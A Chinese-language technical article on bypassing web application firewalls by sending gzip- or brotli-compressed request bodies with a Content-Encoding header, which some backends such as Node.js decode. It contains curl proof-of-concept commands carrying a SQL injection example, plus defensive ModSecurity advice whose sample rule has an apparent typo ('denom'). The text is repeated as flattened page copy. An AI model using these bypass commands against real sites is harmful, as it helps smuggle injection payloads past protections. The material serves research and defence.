Content-Encoding 协议层面 WAF 绕过思路
字数 2443 2025-09-23 19:27:46

利用 Content-Encoding 协议差异绕过 WAF 技术分析与实践

1. 核心原理:WAF 与后端服务的协议解析差异

常规认知中,Content-Encoding HTTP 头通常用于服务器响应,以告知客户端响应的正文(Body)使用了何种编码(或压缩)方式(如 gzip, deflate),客户端据此进行解码。

然而,根据 RFC 9110 (HTTP Semantics) 第 8.4 节 的定义:

  • Content-Encoding 用于指示消息内容(message content) 的编码转换,并未严格限定其仅能用于响应。
  • 该RFC指出,服务器若收到带有不支持编码方式的请求,应当返回 415 Unsupported Media Type

这从协议标准上明确了在HTTP请求中使用 Content-Encoding 头是合法的。但由于几乎没有主流浏览器或HTTP客户端会主动发送压缩后的请求体,这使得该特性成为一个极为冷门的角落。

关键差异点

  • WAF (Web Application Firewall): 作为请求的中间检查者,其设计目标通常是处理常见的、未编码的明文请求。许多WAF的实现未考虑到处理这种冷门的、压缩的请求体,因此会直接将其作为“无法解析”的内容而选择跳过检查或默认放行。
  • 后端服务 (Web Server/Application Framework): 一些实现了完整HTTP协议栈的Web框架,其代码设计上对请求和响应的处理逻辑是共用的。这意味着,原本为解析压缩响应体而编写的解码器,同样可以应用于处理压缩请求体。

这种WAF与后端服务在协议支持度上的认知差实现差,构成了完美的绕过条件。

2. 受影响的常见后端服务

并非所有Web服务器和框架都支持解析压缩的请求体。经原文作者测试,以下常见技术栈支持此特性:

技术栈 支持的编码方式 备注
Node.js (及 Express, Koa 等框架) gzip, deflate, br (brotli) 利用价值最高,应用极其广泛。
aiohttp (Python) gzip, deflate, br, zstd 常用作异步HTTP客户端/服务器。
Apache HTTPD + mod_deflate gzip, deflate 需手动配置 InputFilter,默认不启用,实战中少见。
Warp (Rust) gzip, deflate, br 需在服务端代码中手动启用,默认不启用,实战中少见。

结论: 在实际渗透测试中,若识别出目标后端为 Node.js 或基于其的框架,此绕过手法的成功率最高。

3. 利用方法 (PoC)

攻击者需要构造一个特殊的HTTP请求,其Body是经过压缩的恶意载荷(如SQL注入、命令注入、SSRF等Payload),并在请求头中指明对应的编码方式。

3.1 使用 Gzip 压缩

# 将恶意Payload写入文件或直接通过管道压缩
echo "您的恶意Payload,例如:' OR 1=1-- -" | gzip -f -c > payload.gz

# 使用curl发送请求
curl -v http://target.com/vulnerable/endpoint \
  -H "Content-Type: application/json" \
  -H "Content-Encoding: gzip" \
  --data-binary @payload.gz

# 或使用管道一步完成
echo "您的恶意Payload" | gzip -f | curl -v http://target.com/vulnerable/endpoint \
  -H "Content-Type: application/json" \
  -H "Content-Encoding: gzip" \
  --data-binary @-

3.2 使用 Brotli 压缩(推荐)

Brotli (br) 相比Gzip是更新、更不常见的压缩算法。一些现代WAF可能会尝试自动解压gzip内容进行检查,但对br的支持更差,因此绕过效果通常更好

# 首先确保系统安装了brotli工具(例如:apt install brotli)
echo "您的恶意Payload" | brotli -9 -f -c > payload.br

curl -v http://target.com/vulnerable/endpoint \
  -H "Content-Type: application/json" \
  -H "Content-Encoding: br" \
  --data-binary @payload.br

# 管道方式
echo "您的恶意Payload" | brotli -9 -f | curl -v http://target.com/vulnerable/endpoint \
  -H "Content-Type: application/json" \
  -H "Content-Encoding: br" \
  --data-binary @-

重要提示: Brotli 在对非常短的字符串进行编码时,可能会因为压缩无法获益而直接返回明文。因此,为确保混淆效果,Payload需要有一定的长度(可添加大量无用注释或填充字符)。

3.3 注意事项

  • Content-Type: 必须设置正确的 Content-Type 头(如 application/json, application/x-www-form-urlencoded),以确保后端应用服务器能正确地将解码后的Body解析为参数。
  • 工具支持: 确保用于压缩和发送命令的本地环境已安装相应的压缩工具(gzip, brotli)。

4. 防御与检测方案

4.1 对于WAF厂商/运维人员

  1. 参考OWASP CRS规则集: 这是目前已知能有效防御此手法的公开规则集。其策略是:将不支持的 Content-Encoding 类型列入受限头列表,直接拒绝请求
    • 相关规则路径: REQUEST-901-INITIALIZATION.conf
    • 关键配置示例:
      # 定义允许的请求Content-Encoding类型,通常只应为空或identity
      SecRule REQUEST_HEADERS:Content-Encoding "!^$|^identity$" "phase:1,log,denom,status:415,id:901165,t:lowercase,msg:'Request Content-Encoding is not allowed by policy',tag:paranoia-level/1"
      
  2. 增强解码能力: WAF应具备解压常见编码(gzip, deflate, br)的能力,并对解码后的原始内容进行安全检测。

4.2 对于后端开发人员

  1. 显式关闭不支持的功能: 如果应用不需要接受压缩的请求,应在Web服务器或框架配置中显式禁用此功能。
  2. 在应用层进行输入处理: 不要完全依赖WAF。在应用自身逻辑中,对输入进行严格的校验和过滤。

5. 延伸思考

此案例揭示了WAF绕过的核心思路之一:利用协议规范中的冷门特性,制造中间设备(WAF)与最终解析者(后端服务)之间的处理差异

研究人员可以循此思路,继续探索其他可能的协议层绕过点:

  • Transfer-Encoding: 虽然RFC允许多个编码值(如 chunked, gzip),但主流后端实现通常只支持 chunked,利用难度较大,但仍可深入研究。
  • HTTP/2、HTTP/3 特性: 新协议带来的新特性可能产生新的解析差异。
  • 非标准头或非标准用法: 研究各种Web框架和服务器对非标准头或标准头非标准用法的独特解析行为。

免责声明:本文档仅用于安全技术研究和教学目的,旨在帮助企业和开发者提升其安全防护能力。请勿将文中所述技术用于任何非法渗透测试或攻击活动。

利用 Content-Encoding 协议差异绕过 WAF 技术分析与实践 1. 核心原理:WAF 与后端服务的协议解析差异 常规认知中, Content-Encoding HTTP 头通常用于 服务器响应 ,以告知客户端响应的正文(Body)使用了何种编码(或压缩)方式(如 gzip , deflate ),客户端据此进行解码。 然而,根据 RFC 9110 (HTTP Semantics) 第 8.4 节 的定义: Content-Encoding 用于指示 消息内容(message content) 的编码转换,并未严格限定其仅能用于响应。 该RFC指出,服务器若收到带有不支持编码方式的请求, 应当返回 415 Unsupported Media Type 。 这从协议标准上明确了 在HTTP请求中使用 Content-Encoding 头是合法的 。但由于几乎没有主流浏览器或HTTP客户端会主动发送压缩后的请求体,这使得该特性成为一个极为 冷门 的角落。 关键差异点 : WAF (Web Application Firewall) : 作为请求的中间检查者,其设计目标通常是处理常见的、未编码的明文请求。许多WAF的实现未考虑到处理这种冷门的、压缩的请求体,因此会直接将其作为“无法解析”的内容而选择跳过检查或默认放行。 后端服务 (Web Server/Application Framework) : 一些实现了完整HTTP协议栈的Web框架,其代码设计上对 请求和响应的处理逻辑是共用的 。这意味着,原本为解析压缩响应体而编写的解码器,同样可以应用于处理压缩请求体。 这种WAF与后端服务在协议支持度上的 认知差 和 实现差 ,构成了完美的绕过条件。 2. 受影响的常见后端服务 并非所有Web服务器和框架都支持解析压缩的请求体。经原文作者测试,以下常见技术栈支持此特性: | 技术栈 | 支持的编码方式 | 备注 | | :--- | :--- | :--- | | Node.js (及 Express, Koa 等框架) | gzip , deflate , br (brotli) | 利用价值最高 ,应用极其广泛。 | | aiohttp (Python) | gzip , deflate , br , zstd | 常用作异步HTTP客户端/服务器。 | | Apache HTTPD + mod_deflate | gzip , deflate | 需手动配置 InputFilter ,默认不启用,实战中少见。 | | Warp (Rust) | gzip , deflate , br | 需在服务端代码中手动启用,默认不启用,实战中少见。 | 结论 : 在实际渗透测试中,若识别出目标后端为 Node.js 或基于其的框架,此绕过手法的成功率最高。 3. 利用方法 (PoC) 攻击者需要构造一个特殊的HTTP请求,其Body是经过压缩的恶意载荷(如SQL注入、命令注入、SSRF等Payload),并在请求头中指明对应的编码方式。 3.1 使用 Gzip 压缩 3.2 使用 Brotli 压缩(推荐) Brotli ( br ) 相比Gzip是更新、更不常见的压缩算法。一些现代WAF可能会尝试自动解压 gzip 内容进行检查,但对 br 的支持更差,因此 绕过效果通常更好 。 重要提示 : Brotli 在对 非常短 的字符串进行编码时,可能会因为压缩无法获益而直接返回明文。因此,为确保混淆效果, Payload需要有一定的长度 (可添加大量无用注释或填充字符)。 3.3 注意事项 Content-Type : 必须设置正确的 Content-Type 头(如 application/json , application/x-www-form-urlencoded ),以确保后端应用服务器能正确地将解码后的Body解析为参数。 工具支持 : 确保用于压缩和发送命令的本地环境已安装相应的压缩工具( gzip , brotli )。 4. 防御与检测方案 4.1 对于WAF厂商/运维人员 参考OWASP CRS规则集 : 这是目前已知能有效防御此手法的公开规则集。其策略是: 将不支持的 Content-Encoding 类型列入受限头列表,直接拒绝请求 。 相关规则路径: REQUEST-901-INITIALIZATION.conf 关键配置示例: 增强解码能力 : WAF应具备解压常见编码( gzip , deflate , br )的能力,并对解码后的原始内容进行安全检测。 4.2 对于后端开发人员 显式关闭不支持的功能 : 如果应用不需要接受压缩的请求,应在Web服务器或框架配置中 显式禁用 此功能。 在应用层进行输入处理 : 不要完全依赖WAF。在应用自身逻辑中,对输入进行严格的校验和过滤。 5. 延伸思考 此案例揭示了WAF绕过的核心思路之一: 利用协议规范中的冷门特性,制造中间设备(WAF)与最终解析者(后端服务)之间的处理差异 。 研究人员可以循此思路,继续探索其他可能的协议层绕过点: Transfer-Encoding : 虽然RFC允许多个编码值(如 chunked, gzip ),但主流后端实现通常只支持 chunked ,利用难度较大,但仍可深入研究。 HTTP/2、HTTP/3 特性 : 新协议带来的新特性可能产生新的解析差异。 非标准头或非标准用法 : 研究各种Web框架和服务器对非标准头或标准头非标准用法的独特解析行为。 免责声明 :本文档仅用于安全技术研究和教学目的,旨在帮助企业和开发者提升其安全防护能力。请勿将文中所述技术用于任何非法渗透测试或攻击活动。